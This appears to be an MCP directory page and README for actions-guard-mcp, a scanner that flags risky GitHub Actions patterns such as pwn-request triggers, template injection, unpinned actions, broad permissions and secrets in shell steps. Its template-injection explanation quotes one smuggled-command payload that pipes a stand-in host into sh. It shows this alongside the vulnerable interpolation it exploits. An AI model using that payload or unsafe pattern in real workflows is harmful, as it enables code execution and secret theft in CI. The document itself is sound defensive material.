actions-guard-mcp
Scans GitHub Actions workflow files for security risks such as dangerous triggers, template injection, unpinned actions and workflows, excessive permissions, and secrets interpolated into shell steps.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@actions-guard-mcp Check this workflow for security issues before I commit it."
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
actions-guard-mcp
A GitHub Actions workflow security scanner, exposed as MCP tools — so an agent can catch the "pwn request" and supply-chain patterns that have caused real incidents (CoreShop, tj-actions, and others) before a workflow file is committed, not after.
Why this exists
Static analysis for GitHub Actions workflows is a mature, well-understood
field — zizmor is a respected,
actively maintained standalone scanner for exactly this. What doesn't
exist yet is a serious MCP wrapper around that class of analysis. The one
project found in a broad search (github-security-mcp) spreads 45 checks
across org settings, secrets, supply chain, and Actions in one generic
tool — 12 stars, no commits in 5 months. Nothing focuses on workflow
security specifically, deeply, as something an agent can call while it's
actively writing or reviewing a workflow file.
Related MCP server: github-actions-audit
What it catches
Dangerous triggers (AGMCP-101) —
pull_request_targetorworkflow_runcombined with a checkout step whoseref:orrepository:points at the triggering PR/run's own fork. This is the exact shape of the CoreShop incident: a workflow that runs with the base repo's token and secrets, but checks out and executes code from the fork that triggered it.Template injection (AGMCP-102) —
${{ ... }}expressions built from attacker-controlled context (github.event.issue.title,github.event.pull_request.title,github.event.comment.body,github.head_ref, atoJSON(github.event)whole-payload dump, and similar) interpolated directly into arun:step, rather than passed throughenv:. The classic shape isrun: echo "${{ github.event.issue.title }}"— an issue title of"; curl evil.sh | sh #is not a string at that point, it's shell.Unpinned actions and reusable workflows (AGMCP-103) —
uses: owner/repo@v4(a tag or branch, both mutable) instead of a pinned commit SHA; a job-level reusable-workflow call (jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main) pinned the same mutable way; or adocker://image:tagreference not pinned to a@sha256:digest. This is the exact supply-chain surface the tj-actions incident used: a compromised tag pointed everyone using it at malicious code with no version bump.Excessive permissions (AGMCP-104) —
permissions: write-all, or explicit broadwritescopes (contents,actions,packages, ...), set at either the workflow level or a job level, on a workflow that also has a risky trigger, where a narrower scope would do.Secrets interpolated into shell (AGMCP-105) —
${{ secrets.X }}used directly in arun:step instead of passed throughenv:, which is unnecessary exposure of the raw secret value into the shell command line / process list rather than an environment variable.
All marker matching (AGMCP-101/102/105) normalizes GitHub Actions'
bracket-notation property access (github.event['issue']['title']) to
the equivalent dot form and matches case-insensitively, since the
expression language treats both as identical.
Known limitations
This is pattern matching over the literal text of ${{ }} expressions
and with:/permissions: blocks — not a full GitHub Actions expression
parser or a data-flow analysis. A clean scan means "no known risky
pattern found in the text as written," not a guarantee the workflow is
safe. Concretely:
No cross-step /
env:data-flow tracking. A dangerous value routed through an intermediateenv:variable or a step output before reaching a checkoutref:or arun:command is invisible to AGMCP-101/102/105 — only the literal expression in the field being checked is inspected.The attacker-controlled-context marker list (AGMCP-102) is a finite, hand-maintained set, not a real enumeration of every context path GitHub Actions exposes. A new or uncommon field can exist that isn't listed yet.
If a clean result matters for a security decision, don't treat it as the last word — zizmor does deeper, more general static analysis of the same file class and is worth running alongside this, not instead of it.
Setup
pip install actions-guard-mcp
actions-guard-mcpNo configuration needed — every tool takes a workflow file path or its raw YAML content directly.
Status
Early build.
License
MIT
Available Tools
2 toolsscan_workflow_contentA
Scan raw GitHub Actions workflow YAML content directly — for a workflow being drafted that isn't written to disk yet.
Inputs: yaml_content (required).
scan_workflow_fileA
Scan a GitHub Actions workflow file on disk for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets interpolated into shell commands.
Inputs: path (required).
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
TDQS
Scored across 2 tools
The two tools share the same core purpose (security scanning of GitHub Actions workflows) but are clearly differentiated by input source: one takes a file path and the other takes raw content. The descriptions explicitly clarify the difference, so an agent is unlikely to confuse them.
Both tools follow a consistent verb_noun pattern with a distinguishing suffix: 'scan_workflow_file' and 'scan_workflow_content'. This is clear, predictable, and allows easy selection based on input type.
With only two tools, the server feels minimal for a security scanner. While the focus is narrow, the limited surface might be seen as thin, though it covers the primary use cases without being excessive.
The tool set covers the two main input modes for workflow scanning (file and raw content), which are the most common scenarios. However, it misses other potential inputs like URLs or repository paths, leaving a minor gap for an agent that wants to scan directly from a remote source.
Maintenance
Related MCP Connectors
Audit GitHub Actions workflows for script injection, unpinned actions and missing permissions.
GitHub Actions workflow security audit - 21 checks: pinning, permissions, secrets, injection.
GitHub security scanning, code audit, and workflow automation for repositories.
Screens public GitHub repos and PRs to generate risk maps, findings, and merge-readiness signals.
Related MCP Servers
- AlicenseAqualityCmaintenanceLocal-only GitHub Actions and CI maintenance scanner for AI-built apps. Exposes scan, explanation, and fix-planning tools to MCP clients; modifies nothing and makes no outbound requests by default.365 npm2MIT
- FlicenseNot gradedqualityDmaintenanceAudits GitHub Actions workflow files for supply-chain risks like script injection, leaked tokens, unpinned actions, and broad permissions.-
- AlicenseNot gradedqualityBmaintenanceEnables MCP-compatible AI agents to scan code for leaked secrets, copyleft licenses, unprotected routes, missing privacy policies, and risky card handling before committing or shipping.70 npmMIT
- AlicenseNot gradedqualityBmaintenanceEnables agents to audit GitHub Actions workflows for least-privilege problems and generate per-job hardened permissions plans through stdio MCP tools.88 npmMIT